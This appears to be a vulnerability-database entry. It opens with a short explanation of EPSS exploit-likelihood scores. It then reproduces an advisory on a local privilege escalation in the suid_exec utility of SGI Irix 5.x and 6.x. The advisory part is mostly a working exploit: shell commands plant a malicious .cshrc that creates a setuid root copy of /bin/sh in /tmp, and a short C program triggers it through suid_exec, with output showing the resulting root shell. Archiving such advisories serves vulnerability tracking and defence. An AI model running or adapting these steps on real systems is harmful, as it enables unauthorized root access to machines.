EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/467/info A vulnerability exists in the 'suid_exec' utility, as shipped by SGI with it's Irix operating system, versions 5.x and 6.x. Suid_exec is part of the Korn shell package, and was originally the mechanism by which ksh executed setuid shell scripts safely. However, it runs using the default shell, and as such will run the configuration files for the shell, such as a .cshrc. By placing malicious code in a .cshrc, and properly running suid_exec, commands can be executed as root. % setenv | grep SHELL SHELL=/bin/tcsh % mv ~/.cshrc ~/.cshrc.old % cat > ~/.cshrc cp /bin/sh /tmp chmod a+rsx /tmp/sh ^D % cat > expl.c main() { execl("/sbin/suid_exec","/bin/su","/bin/su",0); } ^D % cc expl.c -o expl.c % ./expl Too many ('s. % ls -l /tmp/sh -r-sr-sr-x 1 root sys 140784 Dec 2 19:21 /tmp/sh*
